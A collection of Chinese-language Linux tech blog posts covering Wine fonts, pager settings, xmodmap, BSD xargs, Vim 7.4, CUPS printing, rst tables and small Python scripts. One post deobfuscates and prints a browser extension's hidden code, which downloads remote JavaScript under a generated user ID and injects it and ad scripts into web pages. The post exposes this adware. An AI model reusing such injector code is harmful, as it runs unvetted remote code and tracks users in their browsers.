今天发现 QQWry 升级程序的一些按钮和对话框中文显示乱码,但是在全新建立的 Wine prefix 中正常。经与新 prefix 的比对,将以下注册表信息写入system.reg
后即恢复正常:
[System\\CurrentControlSet\\Control\\FontAssoc\\Associated Charset] "ANSI(00)"="YES" "OEM(FF)"="YES" "SYMBOL(02)"="NO"
今天发现 QQWry 升级程序的一些按钮和对话框中文显示乱码,但是在全新建立的 Wine prefix 中正常。经与新 prefix 的比对,将以下注册表信息写入system.reg
后即恢复正常:
[System\\CurrentControlSet\\Control\\FontAssoc\\Associated Charset] "ANSI(00)"="YES" "OEM(FF)"="YES" "SYMBOL(02)"="NO"
在 Linux 下,最常见的 pager(翻页器)就是 less 了,所以很多时候,我都忘记了还有$PAGER
这个环境变量,直到有一天我写了这么个 shell 函数:
repodo () { for f in $(cat ~/workspace/.my-repos); do echo "\n>>> $f\n" cd ~/workspace/$f && stdoutisatty $@ cd - > /dev/null done | less }
这个函数对于~/workspace/.my-repos
中记录的每一个项目,在对应的目录下执行同一条命令,并使用 less 来查看输出。其中,stdoutisatty 是一个把标准输出伪装成 tty 的脚本,这样一些命令就不会因为实际输出到管道而关掉彩色高亮之类的了。
比如
repodo git st
st
是status
的 git 别名。
这一句命令就可以查看所有项目的工作区状态了。
后来,我执行这样一条命令,它就出问题了:
repodo git grep string
因为 stdoutisatty 的缘故,git grep 会自动调用翻页器。于是,出现了两个 less 同时要读终端输入。
首先想到的是 git 的--no-pager
参数,但这个很显然对其它命令无效。于是才想起自设置之后一直没再搭理的$PAGER
环境变量:
repodo () { for f in $(cat ~/workspace/.my-repos); do echo "\n>>> $f\n" cd ~/workspace/$f && PAGER=cat stdoutisatty $@ cd - > /dev/null done | less }
把PAGER
指定为cat
直接输出,这样就不会有多个 less 在运行了。
但这样还没有结束,因为我的不少脚本里都是直接调用 less 的,现在得改成这样子了:
command | ${PAGER:-less}
或者在 Python 里:
p = subprocess.Popen([os.environ.get('PAGER', 'less')], stdin=subprocess.PIPE, universal_newlines=True)
附:less 默认是会转义来自输入的彩色转义字符序列的。我使用了-FRXM
参数,也是通过环境变量传递的:
export LESS=-FRXM
这四个选项的意义是:
-F
-R
-X
-F
选项时必须,不然可能看不到东西)-M
很早之前,因为有了 fcitx-keyboard,fcitx 能够管理键盘布局了。于是乎,经常干了什么事情之后,xmodmap 的效果就没了。
为了解决这个问题,fcitx 可以在相关事件时自动调用 xmodmap 命令。然后我发现,xmodmap 命令经常会调用很多很多次。我笔记本的配置还好,那个 xmodmap 配置调用多次会有命令失败,所以只要调整下顺序就可以保证键映射正确:
keysym Pause = Print remove Lock = Caps_Lock keysym Escape = Caps_Lock keysym Caps_Lock = Escape add Lock = Caps_Lock keycode 107 = Super_R Sys_Req Super_R Sys_Req
这样子日志里会多一些消息,无所谓了,反正桌面日志我只保留最近的一份。
可是,我另外的系统上只需要交换 Esc 和 Caps Lock 这两个键:
remove Lock = Caps_Lock keysym Escape = Caps_Lock keysym Caps_Lock = Escape add Lock = Caps_Lock
于是,当 fcitx 调用偶数次 xmodmap 时,这两个键就给交换回去了……实际的效果是,我几乎每次从挂起中恢复,都需要手动执行一次 xmodmap。更烦的是,几乎每次在 gnome-screensaver 里输入密码时,大小写切换键默认是开着的。这时候我得按按 Esc 或者 Caps Lock,或者是输入一个字符后再按它们中的一个。一直以来没找到规律……
最后,终于查阅 xmodmap 手册,写了下面这个简单的脚本:
#!/bin/bash -e [[ -n $(xmodmap -pk | awk '$1 == 66 && $3 == "(Escape)"') ]] || xmodmap ~/.Xmodmap
如果 Esc 键已经交换过了,就不要再交换一次了。
再设置 fcitx 执行这个我自己的脚本就可以了:
2013年8月28日更新:csslayer 最近已经修复了 fcitx 多次调用 xmodmap 的问题,不再需要这样特别的设置了。感谢 csslayer 的及时修正=w=
BSD 版 xargs 与 GNU 版有一个显著的不同——它支持-J
选项。
比如说,你使用 find 命令得到了一个文件列表。你要将它们传递给一个叫concat_files
的程序来处理后生成一个指定的新文件,比如:
concat_files file1 file2 file3 output
而且,这个命令不像 cp 或者 mv 那样,有个-t
参数来把目标文件放到不定长的文件列表之前。总之呢,你不得不构建一行命令,它的中间部分是你会从管道传过去的文件列表。而 GNU xargs 要么全给你放末尾(默认),要么每项执行一次命令(指定-I
时)。而 BSD xargs 则可以用-J
选项指定一个占位符,使用这个占位符指明参数插入的位置:
find ... | xargs -J % concat_files % output
BSD xargs 的另一个特有参数是-o
,作用你们就自己看文档啦=w=
我想在 Linux 上使用 BSD xargs,怎么办呢?在 AUR 里搜索到了这个,但是已经编译不过去了。安装 bmake 后手动边改边编译,最终终于成功编译了 obase 中的大多数工具。我知道的比较有特色的也就这个 xargs 了,于是单独打了个包 bsdxargs,放在我的 lilydjwg 源 里。
附,obase 的补丁:
diff --git a/Makefile b/Makefile index 2bb18b4..96acf8a 100644 --- a/Makefile +++ b/Makefile @@ -8,6 +8,8 @@ LIBOBASE=${.CURDIR}/libobase/libobase.a INCLUDES_libobase=-isystem ${.CURDIR}/libobase/include COPTS_libobase=-D_GNU_SOURCE DPLIBS+=${LIBOBASE} +LDADD+= ${LIBOBASE} +.export LDADD .export COPTS DPLIBS HOSTCC HOSTCFLAGS USE_DPADD_MK SUBDIR=\ diff --git a/src/bin/ls/Makefile b/src/bin/ls/Makefile index defd607..6ad4725 100644 --- a/src/bin/ls/Makefile +++ b/src/bin/ls/Makefile @@ -3,6 +3,6 @@ PROG= ls SRCS= cmp.c ls.c main.c print.c util.c DPADD= ${LIBUTIL} -LDADD= -lutil +LDADD+= -lutil .include <bsd.prog.mk> diff --git a/src/usr.bin/awk/Makefile b/src/usr.bin/awk/Makefile index 54857d3..9d2d243 100644 --- a/src/usr.bin/awk/Makefile +++ b/src/usr.bin/awk/Makefile @@ -2,7 +2,7 @@ PROG= awk SRCS= ytab.c lex.c b.c main.c parse.c proctab.c tran.c lib.c run.c -LDADD= -lm +LDADD+= -lm DPADD= ${LIBM} CLEANFILES+=proctab.c maketab ytab.c ytab.h stamp_tabs CFLAGS+=-I. -I${.CURDIR} -DHAS_ISBLANK -DNDEBUG diff --git a/src/usr.bin/dc/Makefile b/src/usr.bin/dc/Makefile index b0a2396..f8ee358 100644 --- a/src/usr.bin/dc/Makefile +++ b/src/usr.bin/dc/Makefile @@ -3,7 +3,7 @@ PROG= dc SRCS= dc.c bcode.c inout.c mem.c stack.c COPTS+= -Wall -LDADD= -lcrypto +LDADD+= -lcrypto DPADD= ${LIBCRYPTO} .include <bsd.prog.mk> diff --git a/src/usr.bin/du/Makefile b/src/usr.bin/du/Makefile index feb644d..9676f37 100644 --- a/src/usr.bin/du/Makefile +++ b/src/usr.bin/du/Makefile @@ -2,6 +2,6 @@ PROG= du DPADD= ${LIBUTIL} -LDADD= -lutil +LDADD+= -lutil .include <bsd.prog.mk> diff --git a/src/usr.bin/gzsig/Makefile b/src/usr.bin/gzsig/Makefile index 0dc7b81..f4f0664 100644 --- a/src/usr.bin/gzsig/Makefile +++ b/src/usr.bin/gzsig/Makefile @@ -3,7 +3,7 @@ PROG = gzsig SRCS = gzsig.c key.c sign.c ssh.c ssh2.c util.c verify.c x509.c -LDADD = -lcrypto -lm +LDADD += -lcrypto -lm DPADD = ${LIBCRYPTO} ${LIBM} CLEANFILES += TAGS *~ diff --git a/src/usr.bin/lex/Makefile b/src/usr.bin/lex/Makefile index 080a151..27a783e 100644 --- a/src/usr.bin/lex/Makefile +++ b/src/usr.bin/lex/Makefile @@ -17,7 +17,7 @@ SRCS= ccl.c dfa.c ecs.c gen.c main.c misc.c nfa.c parse.c sym.c tblcmp.c \ yylex.c OBJS+= scan.o skel.o CLEANFILES+=parse.c parse.h scan.c skel.c y.tab.c y.tab.h -LDADD= -lfl +LDADD+= -lfl DPADD= ${LIBL} MAN = flex.1 diff --git a/src/usr.bin/m4/Makefile b/src/usr.bin/m4/Makefile index 7c510f5..16a282c 100644 --- a/src/usr.bin/m4/Makefile +++ b/src/usr.bin/m4/Makefile @@ -8,7 +8,7 @@ CFLAGS+=-DEXTENDED -I. CDIAGFLAGS=-W -Wall -Wstrict-prototypes -pedantic \ -Wno-unused -Wno-char-subscripts -Wno-sign-compare -LDADD= -ly -lfl -lm +LDADD+= -ly -lfl -lm DPADD= ${LIBY} ${LIBL} ${LIBM} SRCS= eval.c expr.c look.c main.c misc.c gnum4.c trace.c tokenizer.l parser.y diff --git a/src/usr.bin/make/Makefile b/src/usr.bin/make/Makefile index a63ed94..1d12280 100644 --- a/src/usr.bin/make/Makefile +++ b/src/usr.bin/make/Makefile @@ -14,7 +14,7 @@ CDEFS+=-DHAS_EXTENDED_GETCWD CFLAGS+=${CDEFS} HOSTCFLAGS+=${CDEFS} -LDADD= -lrt +LDADD+= -lrt SRCS= arch.c buf.c cmd_exec.c compat.c cond.c dir.c direxpand.c engine.c \ error.c for.c init.c job.c lowparse.c main.c make.c memory.c parse.c \ diff --git a/src/usr.bin/mandoc/Makefile b/src/usr.bin/mandoc/Makefile index cf565fd..6086a81 100644 --- a/src/usr.bin/mandoc/Makefile +++ b/src/usr.bin/mandoc/Makefile @@ -9,7 +9,7 @@ CFLAGS+=-W -Wall -Wstrict-prototypes CFLAGS+=-Wno-unused-parameter .endif -LDADD= -ldb +LDADD+= -ldb SRCS= roff.c tbl.c tbl_opts.c tbl_layout.c tbl_data.c eqn.c mandoc.c read.c SRCS+= mdoc_macro.c mdoc.c mdoc_hash.c \ diff --git a/src/usr.bin/script/Makefile b/src/usr.bin/script/Makefile index d7dbf01..8837084 100644 --- a/src/usr.bin/script/Makefile +++ b/src/usr.bin/script/Makefile @@ -1,7 +1,7 @@ # $OpenBSD: Makefile,v 1.3 1997/09/21 11:50:42 deraadt Exp $ PROG= script -LDADD= -lutil +LDADD+= -lutil DPADD= ${LIBUTIL} .include <bsd.prog.mk> diff --git a/src/usr.bin/ul/Makefile b/src/usr.bin/ul/Makefile index bab290c..12295ec 100644 --- a/src/usr.bin/ul/Makefile +++ b/src/usr.bin/ul/Makefile @@ -2,6 +2,6 @@ PROG= ul DPADD= ${LIBCURSES} -LDADD= -lcurses +LDADD+= -lcurses .include <bsd.prog.mk> diff --git a/src/usr.bin/vacation/Makefile b/src/usr.bin/vacation/Makefile index 6f08990..f9ef0d6 100644 --- a/src/usr.bin/vacation/Makefile +++ b/src/usr.bin/vacation/Makefile @@ -1,6 +1,6 @@ # $OpenBSD: Makefile,v 1.3 1997/09/21 11:51:42 deraadt Exp $ PROG= vacation -LDADD= -ldb +LDADD+= -ldb .include <bsd.prog.mk> diff --git a/src/usr.bin/wc/Makefile b/src/usr.bin/wc/Makefile index 3f3c619..0f3d1a2 100644 --- a/src/usr.bin/wc/Makefile +++ b/src/usr.bin/wc/Makefile @@ -2,6 +2,6 @@ PROG= wc DPADD= ${LIBUTIL} -LDADD= -lutil +LDADD+= -lutil .include <bsd.prog.mk>
下载、解压,找到app.js
。最后有一段混淆过的代码,注释曰「划词搜索电影」。使用 NodeJS 把eval
里的函数执行结果打出来,再扔到 Vim 里拿 jsbeatify.vim 格式化一下,结果如下:
if (typeof(IMAXPluginChrome) == "undefined") { function S4() { return (((1 + Math.random()) * 0x10000) | 0).toString(16).substring(1) } function guid() { return (S4() + S4() + S4() + S4() + S4() + S4() + S4() + S4()) } var IMAXPluginChrome = { getCid: function() { var uuid = nsPreferences.copyUnicharPref("extensions.imax.uuid", ""); if (typeof(uuid) == "undefined" || uuid == "") { uuid = guid(); nsPreferences.setUnicharPref("extensions.imax.uuid", uuid) } return uuid }, loadScript: function(callback, unsafeWin) { var xhr = new XMLHttpRequest(); xhr.onreadystatechange = function() { if (xhr.status == 200 && xhr.readyState == 4) { var code = xhr.responseText; nsPreferences.setUnicharPref("extensions.imax.code", code); nsPreferences.setUnicharPref("extensions.imax.last_synced_at", Date.now() + ""); callback(unsafeWin, code) } }; xhr.open("GET", "http://imax.taobaoimages.com/bootstrap.js?cid=FF_" + IMAXPluginChrome.getCid(), true); xhr.send(null) }, onDOMContentLoaded: function(event) { var code = nsPreferences.copyUnicharPref("extensions.imax.code", ""); var last_synced_at = Number(nsPreferences.copyUnicharPref("extensions.imax.last_synced_at", 0)); var unsafeWin = event.target.defaultView; if (unsafeWin.wrappedJSObject) { unsafeWin = unsafeWin.wrappedJSObject } function callback(unsafeWin, code) { var unsafeDocument = new XPCNativeWrapper(unsafeWin, "document").document; var script = unsafeDocument.createElement("script"); script.type = "text/javascript"; script.charset = "utf-8"; script.textContent = code; unsafeDocument.body.appendChild(script) } if ((code == "") || ((Date.now() - last_synced_at) > (1000 * 60 * 60 * 24))) { IMAXPluginChrome.loadScript(callback, unsafeWin) } else { callback(unsafeWin, code) } }, onLoad: function(event) { var appcontent = document.getElementById("appcontent"); if (appcontent) { appcontent.addEventListener("load", this.onDOMContentLoaded, true) } }, onUnload: function(event) { window.removeEventListener("load", this.onLoad, false); window.removeEventListener("unload", this.onUnload, false); var appcontent = document.getElementById("appcontent"); appcontent.removeEventListener("DOMContentLoaded", this.onDOMContentLoaded, false) }, init: function() { window.addEventListener("load", function(event) { IMAXPluginChrome.onLoad(event) }, false); window.addEventListener("unload", function(event) { IMAXPluginChrome.onUnload(event) }, false) } }; IMAXPluginChrome.init() }
这段代码异步载入了来自http://imax.taobaoimages.com/bootstrap.js?cid=FF_XXX
的代码,其中XXX
是生成的用户 ID。又是一段混淆过的代码,还是一样的eval
,转义字符串数组也一样扔 NodeJS 就行了。处理后的脚本如下:
(function(cid) { if (window.tbk) { return } window.tbk = true; var plugin_scripts = { "http://(.*?\.tao)(bao\.com)|(tao\.et)(ao\.com)": "http://imax.taobaoimages.com/browser.js" }; for (var enabledDomains in plugin_scripts) { var host = document.location.href; if (host.match(RegExp(enabledDomains))) { imax_script_url = plugin_scripts[enabledDomains]; function readCookie(name) { var nameEQ = name + "="; var ca = document.cookie.split(';'); for (var i = 0; i < ca.length; i++) { var c = ca[i]; while (c.charAt(0) == ' ') c = c.substring(1, c.length); if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length, c.length) } return null } function addBrowserJs() { if (document.readyState == "complete") { var h = document.getElementsByTagName('head')[0]; var s = document.createElement('script'); s.setAttribute('type', 'text/javascript'); s.setAttribute('charset', 'utf-8'); s.setAttribute('async', true); if (readCookie("_q_r_b_")) { s.setAttribute('src', imax_script_url + '?v=plugin&cid=' + cid + "&_=" + Math.random()) } else { s.setAttribute('src', imax_script_url + '?v=plugin&cid=' + cid + "&_=" + Math.random()) } h.appendChild(s) } else { window.setTimeout(addBrowserJs, 20) } } addBrowserJs() } } })("CID"); (function(d) { var _0xc429 = ['href', 'location', 'http://taoad.wandoupai.com/ad.js', '', 's.taobao.com/search', 'search', 'weibo', 'baidu', 'length', 'match', 'ad=', 'getElementsByClassName', 'createElement', 'className', 'body', 'getElementsByTagName', 'appendChild', 'script', 'T1xC6MXfthXXcWeqbX', '?', 'type', 'text/javascript', 'src']; var href = d.location.href; var host = 'http://taoad.wandoupai.com/ad.js'; var url = ''; var url_map = [['s.taobao.com/search', 'search'], ['weibo', 'weibo'], ['baidu', 'baidu']]; for (var i = 0; i < url_map.length; i++) { if (href.match(url_map[i][0])) { url = 'ad=' + url_map[i][1]; break; }; }; if (url == '') { return false; }; var appendTag = function(a, b, c) { if (document.getElementsByClassName(b).length > 0) { return; }; var el = d.createElement(a); el.className = b; c(el); var body0 = d.getElementsByTagName('body')[0]; if (!body0) { return; }; body0.appendChild(el); return el; }; appendTag('script', 'T1xC6MXfthXXcWeqbX', function(a) { var link = host + '?' + url; a.type = 'text/javascript'; a.src = link; }); })(document);
这段脚本会按照当前访问的网站地址载入地址类似http://taoad.wandoupai.com/ad.js?ad=baidu
的脚本。目前,这个地址返回的是空文档。说好的广告呢……
Vim 7.4 刚刚发布了!(怎么没有 Vim 7.4c d e f 了呢=w=)
主要新特性如下:
luaeval()
函数。InsertCharPre
、CompleteDone
、QuitPre
、TextChanged
和TextChangedI
事件。Python 部分的改进主要如下:
vim.bindeval
函数可以获得 Vim 的字典、列表或者函数对象。vim
模块添加了vars
属性,用于存取局部于缓冲区、窗口以及全局的 Vim 变量。{rtp}/python2
、{rtp}/python3
、{rtp}/python
导入模块。vim.buffers
改用缓冲区作为键,因此可以方便地从缓冲区号找到对应的 buffer 对象。:pydo
和py3do
命令。pyeval()
和py3eval()
。其返回值会自动转换成 Vim 对象。str
对象的接口,现在能够同时接受unicode
(Python 2)或者bytes
(Python 3)对象。.col
和 .row
属性。dir()
方法。vim.vvars
用于访问v:
开头的特殊变量。vim.options
以及 buffer 和 window 对象的options
属于用于像字典那样存取 Vim 的全局或者局部选项。vim.strwidth
函数,功能和 Vim 内建函数strwidth
一致。
详情请:help version-7.4
。
附:我编译的 Windows 32 位和 64 位版本: http://lilydjwg.is-programmer.com/pages/19540.html#win-vim
我维护的 Arch Linux lilydjwg 仓库也有 64 位的 gvim 和 vim。
2014年12月2日更新:现在我打包的 Vim 在 Arch Linux 中文社区源里了,名字叫 vim-runtime-lily、gvim-lily 以及 vim-lily。
首先去官网下个 Unified Linux Drivers(ULD)包,里边有我们需要的 .ppd 文件以及一个 cups filter。splix 和 gutenprint 包里有不少 ppd 文件,但是没有我要的这个型号的。此 ppd 文件中引用了一个名叫 rastertospl 的 cups filter,而 splix 里只有 rastertoqspl,不知道能不能用。我还是用官方给的好了。
安装 cups 并启动之:
systemctl start cups
在那个包里找到自己机器架构的 rastertospl 以及 libscmssc.so 文件,前者扔到/usr/lib/cups/filter
目录下,后者扔到/usr/lib
下即可。
访问 http://localhost:631/admin ,勾选右边的「Share printers connected to this system」,这样 cups 才能找到网络打印机。点「Change Settings」后会请求用户名和密码。使用 root 及相应的密码登录即可。然后就可以「Find New Printers」了。找到之后就知道打印机的 IP 地址了。(其实用 ULD 包里那个smfpnetdiscovery
程序也是可以的。)然后访问 http://打印机IP:631/ 在协议里找到了它的 IPP 协议地址:ipp://打印机IP/ipp/printer
。cups 默认给出的是socket://
,不知道那是干什么的。忘了添加时能不能修改了,不能的话就待会再修改连接地址好了。然后填名字描述什么的,下边会向你要 ppd 文件,或者从系统已有列表里选。从下载回来的 ULD 包里找到那个Samsung_SCX-4650_4x21S_Series.ppd
文件扔给它就好。配置完毕就可以用啦啦。
其实挺简单的。不过初次配置时遇到了点麻烦:
出现了两次 filter failed 错误。第一次的日志(位于/var/log/cups/error_log
)是:
PID 20744 (/usr/lib/cups/filter/gstoraster) stopped with status 13.
gstoraster 是 ghostscript 包里的。通过 strace 和源码得知它退出是因为子进程 gs
在向标准输出写转换好的 raster 格式数据时出现了 SIGPIPE。Google 许久未果,最后按某帖里的建议把打印机删掉再重新添加就好了……
第二次是 rastertospl 退出 1。(rastertospl 没找到那个错误很明显就不算啦。)这个通过 strace 发现它在一些路径寻找libscmssc.so
文件。在 ULD 里找到这个库并扔到它会去找的目录下就好了。
最后贴一下通过 strace 抓到的那些 cups filter 的命令行调用参数:
PPD=/etc/cups/ppd/Samsung_SCX-4650_4x21S_Series.ppd strace /usr/lib/cups/filter/rastertospl 4 lilydjwg doc.pdf 1 "InputSlot=Auto noJCLSkipBlankPages Quality=600dpi number-up=1 MediaType=None TonerSaveMode=Standard JCLDarkness=NORMAL PageSize=A4 EdgeControl=Fine job-uuid=urn:uuid:570129b0-1656-3f8d-5c8d-0edc9322c11f job-originating-host-name=localhost time-at-creation=1375697623 time-at-processing=1375701265" doc.raster > doc.spl
rst_tables 是一个用来创建和格式化 rst(reStructuredText)格式文档中的表格用的。此文档里的表格得画成表格的样子,囧死了……比如(网页上显示的可能没对齐,在 Vim 里应该很齐的www):
+----------+----------+-----------------------------------------+ | 格式名称 | 使用频率 | 使用场景 | +==========+==========+=========================================+ | markdown | 非常高 | 简单的文字,如博客、简单文档 | +----------+----------+-----------------------------------------+ | rst | 较低 | 较复杂的文档,如包含表格或者描述性列表。| | | | 以及 Python 库的文档。 | +----------+----------+-----------------------------------------+
所以,作为编辑器之神的 Vim,当然会有更方便的创建这种非人道的表格的办法啦。(其实我是看到 Vimwiki 的表格挺不错的 n(≧▽≦)n
略作搜索,找到了 rst_tables。它是这样子写的(墙外视频演示):
格式名称 使用频率 使用场景 markdown 非常高 简单的文字,如博客、简单文档 rst 较低 较复杂的文档,如包含表格或者描述性列表。以及 Python 库的文档。
每行的单元格间空两格,然后光标放在光标上,按\\c(其实是<leader><leader>c,create),就创建好啦。如果后期又修改了,按\\f(format)就可以重新格式化啦。
rst 的表格里可以写多行文字,就如前边所示那样。修改表格第一行那些减号的数量后再按\\f,可以调整栏宽。
好啦,rst_tables 本身的介绍至此结束。下面讲讲我作出的改进:
plugin
目录下,因为那些 Python 函数定义不需要载入多次。有人在 openSUSE 中文论坛询问他的输入法打出的「妩媚」的「妩」字为什么显示成「女」+「元」。怀疑是字体的问题,于是空闲时用好友写的 python-fontconfig 配合 Pillow (PIL 的一个 fork)写了个脚本,使用系统上所有包含这个「妩」字的字体来显示这个字,看看到底是哪些字体有问题。
(更新后的)脚本如下:
Google Chrome / Chromium 用户请注意:如果复制得到的代码中含有不间断空格(0xa0),请手动替换下。
#!/usr/bin/env python3 # vim:fileencoding=utf-8 from PIL import Image, ImageDraw, ImageFont import fontconfig ch = '妩' def get_fonts(): ret = [] for f in fontconfig.query(): f = fontconfig.FcFont(f) if f.has_char(ch): ret.append((f.file, f.bestname)) return ret w, h = 800, 20000 image = Image.new('RGB', (w, h), 'white') draw = ImageDraw.Draw(image) pos = 0 w = 0 strs = ch for fontfile, fontname in get_fonts(): font = ImageFont.truetype(fontfile, 24) s = '%s: %s' % (fontname, strs) font_width, font_height = font.getsize(s) w = max((font_width, w)) draw.text((10, pos), s, font=font, fill='black') pos += font_height h = pos image = image.crop((0, 0, w+10, h)) image.save('fonts.png')
寻找字体,然后渲染到当前目录下的fonts.png
文件中。寻找字体的过程挺花时间的,要耐心等待。最后结果如下:
我这里,文泉驿微米黑、方正魏碑、某个 Droid Sans Fallback 字体中「妩」字的字形不对。(我这里有三个字体文件都叫「Droid Sans Fallback」……)>
string.Template
也很好用哦#!/usr/bin/env python3 # vim:fileencoding=utf-8 import sys from functools import partial from string import Template import argparse import base64 from urllib.parse import unquote from lxml.html import fromstring import requests from htmlutils import extractText from termutils import foreach session = requests.Session() def main(index, filename='$name-$author.txt', start=0): r = session.get(index) r.encoding = 'gb18030' doc = fromstring(r.text, base_url=index) doc.make_links_absolute() name = doc.xpath('//div[@class="info"]/p[1]/a/text()')[0] author = doc.xpath('//div[@class="info"]/p[1]/span/text()')[0].split()[-1] nametmpl = Template(filename) fname = nametmpl.substitute(name=name, author=author) with open(fname, 'w') as f: sys.stderr.write('下载到文件 %s。\n' % fname) links = doc.xpath('//div[@class="chapterlist"]/ul/li/a') try: foreach(links, partial(gather_content, f.write), start=start) except KeyboardInterrupt: sys.stderr.write('\n') sys.exit(130) sys.stderr.write('\n') return True def gather_content(write, i, l): # curl -XPOST -F bookid=2747 -F chapterid=2098547 'http://www.feisuzw.com/skin/hongxiu/include/fe1sushow.php' # --referer http://www.feisuzw.com/Html/2747/2098547.html # tail +4 # base64 -d # sed 's/&#&/u/g' # ascii2uni -qaF # ascii2uni -qaJ # <p> paragraphs url = l.get('href') _, _, _, _, bookid, chapterid = url.split('/') chapterid = chapterid.split('.', 1)[0] r = session.post('http://www.feisuzw.com/skin/hongxiu/include/fe1sushow.php', data={ 'bookid': bookid, 'chapterid': chapterid, }, headers={'Referer': url}) text = r.content[3:] # strip BOM text = base64.decodebytes(text).replace(b'&#&', br'\u') text = text.decode('unicode_escape') text = unquote(text) text = text.replace('<p>', '').replace('</p>', '\n\n') title = l.text write(title) write('\n\n') write(text) write('\n') return title if __name__ == '__main__': parser = argparse.ArgumentParser(description='下载飞速中文网小说') parser.add_argument('url', help='小说首页链接') parser.add_argument('name', default='$name-$author.txt', nargs='?', help='保存文件名模板(支持 $name 和 $author') parser.add_argument('-s', '--start', default=1, type=int, metavar='N', help='下载起始页位置(以 1 开始)') args = parser.parse_args() main(args.url, args.name, args.start-1)